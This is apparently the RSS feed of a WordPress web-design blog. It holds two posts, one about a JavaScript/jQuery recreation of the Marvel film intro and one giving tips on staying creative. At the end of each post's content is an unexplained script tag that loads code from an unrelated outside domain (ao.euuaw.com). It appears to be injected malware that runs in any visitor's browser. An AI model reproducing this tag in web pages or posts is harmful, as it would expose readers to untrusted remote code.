<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Withinsight &#187; Creativity</title>
	<atom:link href="http://www.withinsightdesign.com/category/creativity/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.withinsightdesign.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 15 May 2010 17:31:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Marvel Cinema intro built using only JavaScript</title>
		<link>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/</link>
		<comments>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 17:28:39 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Marvel cinema intro]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=145</guid>
		<description><![CDATA[During my recent JavaScript capstone course at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it [...]]]></description>
			<content:encoded><![CDATA[<p>During my recent <a href="http://www.westlaketraining.com/html-and-web-programming/300-javascript-dom-capstone.html" target="_blank">JavaScript capstone course</a> at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it looks like someone is flipping rapidly through a bunch of comic pages. I envisioned being able to accomplish this animation using only JavaScript.</p>
<p><a href="http://www.youtube.com/watch?v=ZmfiIqzdIbM" target="_blank">Here&#8217;s a sample of the original animation</a>, from the Spider-Man intro. I also found a few samples of other obviously homemade versions of the Marvel intro, like this <a href="http://www.youtube.com/watch?v=8bxaZ4-ZNeU&amp;feature=related" target="_blank">After Effects</a> version.</p>
<p>The below is built using JavaScript only, and relies heavily on jQuery&#8217;s animation effects. There&#8217;s even a cool soundtrack for those with newer browsers (its embedded using HTML 5&#8217;s audio element). The font isn&#8217;t exactly the same, and the music is courtesy of Dredg (everyone go out and pick up &#8220;The Pariah, The Parrot, The Delusion&#8221; right now), but I think its as close as you can get with JS to the original. Click the play button to check it out.</p>
<p>If you&#8217;d like to see a tutorial for how this was accomplished, leave a comment. If I get enough requests, I&#8217;ll put together a how-to.</p>
<p><button>Play</button><br />
<audio src="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav"></audio></p>
<div id="gallery">
<h1>Marvel</h1>
<div id="redFade"></div>
<div id="background"></div>
<p><img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel1.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel2.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel3.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel4.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel5.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel6.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel7.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel8.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel9.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel10.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel11.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel12.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel13.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel14.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel15.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel16.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel17.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel18.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel19.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel20.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel21.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel22.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel23.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel24.jpg" alt="" /></div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav" length="1734214" type="audio/x-wav" />
		</item>
		<item>
		<title>Keeping The Creative Spark</title>
		<link>http://www.withinsightdesign.com/2008/keeping-the-creative-spark/</link>
		<comments>http://www.withinsightdesign.com/2008/keeping-the-creative-spark/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 16:47:46 +0000</pubDate>
		<dc:creator>Kev</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Inspiration]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=18</guid>
		<description><![CDATA[Sometimes it&#8217;s just as easy as getting out of your chair and hopping around like a weirdo.
How can we keep creativity around? Is it possible to call up at any point?
Between being a web designer at work and a musician at home. How do I balance the need to stay creative?
I believe that it is [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Sometimes it&#8217;s just as easy as getting out of your chair and hopping around like a weirdo.</p></blockquote>
<p><strong>How can we keep creativity around? Is it possible to call up at any point?</strong></p>
<p>Between being a web designer at work and a musician at home. How do I balance the need to stay creative?</p>
<p>I believe that it is possible to be creative at any point in time, even when you feel all is lost and you cannot make one more brush stroke or hum one more tune. Here I&#8217;ll offer up a few tips on staying creative.</p>
<h3>Score it</h3>
<p>Add some music to change your mood. If you&#8217;re already listening to music, change the tune or listen to a different genre. One good way to go about changing your mood with music is listening to the ol&#8217; iPod on shuffle.</p>
<h3>Reset</h3>
<p>The idea here is to get your mind off of whatever is distracting it. Lets get back to that quote about hopping around like a weirdo. My favorite way to get out of any negative feelings that are holding me back from my work is to get out of my chair and go for a lap around my building. I usually skip at some point on this walk. Yes, I may look like an idiot, but who really cares? It makes me laugh at myself uncontrollably. Laughing enough that by the time I get back to my desk, I&#8217;m ready to go with a clear head and clear mind.</p>
<h3>Prime it</h3>
<p>Figure out what gets your mind going creatively when you are at your peak and surround yourself with it. Is it a certain painting? A lucky penny? Calling a good friend for a laugh? Whatever it is, keep it around when you are working.</p>
<p>Don&#8217;t forget about this great article over at A List Apart titled &#8220;<a title="Staying Motivated" href="http://www.alistapart.com/articles/stayingmotivated" target="_blank">Staying Motivated</a>&#8220;, which I have pinned to the wall right next to my desk at work.</p>
<p>Good luck!<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2008/keeping-the-creative-spark/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
